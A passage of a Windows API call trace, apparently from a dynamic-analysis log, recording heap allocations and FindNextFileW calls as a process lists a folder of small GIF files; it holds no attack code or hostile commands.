(HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64990 [0073.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77298 [0073.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.894] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14532_.GIF", cAlternateFileName="")) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa649b0 [0073.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa88490 [0073.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.895] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14533_.GIF", cAlternateFileName="")) returned 1 [0073.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa649d0 [0073.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa88598 [0073.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.895] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe7b7100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe7b7100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14565_.GIF", cAlternateFileName="")) returned 1 [0073.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa649f0 [0073.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa886a0 [0073.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.896] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14578_.GIF", cAlternateFileName="")) returned 1 [0073.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64a10 [0073.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa887a8 [0073.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.896] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14579_.GIF", cAlternateFileName="")) returned 1 [0073.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64a30 [0073.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa888b0 [0073.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.897] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14580_.GIF", cAlternateFileName="")) returned 1 [0073.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64a50 [0073.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa889b8 [0073.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3100) returned 0xa97d18 [0073.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94c50) returned 1 [0073.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.898] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14581_.GIF", cAlternateFileName="")) returned 1 [0073.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64a70 [0073.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa88ac0 [0073.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.898] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14582_.GIF", cAlternateFileName="")) returned 1 [0073.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64a90 [0073.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa88bc8 [0073.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.899] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8115e400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8115e400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14583_.GIF", cAlternateFileName="")) returned 1 [0073.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64ab0 [0073.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa88cd0 [0073.899] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14654_.GIF", cAlternateFileName="")) returned 1 [0073.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.899] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14655_.GIF", cAlternateFileName="")) returned 1 [0073.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.899] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d66b00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5d66b00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14656_.GIF", cAlternateFileName="")) returned 1 [0073.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.899] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14691_.GIF", cAlternateFileName="")) returned 1 [0073.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.899] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14692_.GIF", cAlternateFileName="")) returned 1 [0073.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.899] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc555b400, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc555b400, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14693_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14752_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14753_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14754_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd2f700, ftCreationTime.dwHighDateTime=0x1bd4f43, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fd2f700, ftLastWriteTime.dwHighDateTime=0x1bd4f43, nFileSizeHigh=0x0, nFileSizeLow=0x44, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14755_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14756_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14757_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14790_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14791_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14792_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14793_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14794_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14795_.GIF", cAlternateFileName="")) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14828_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14829_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14830_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, 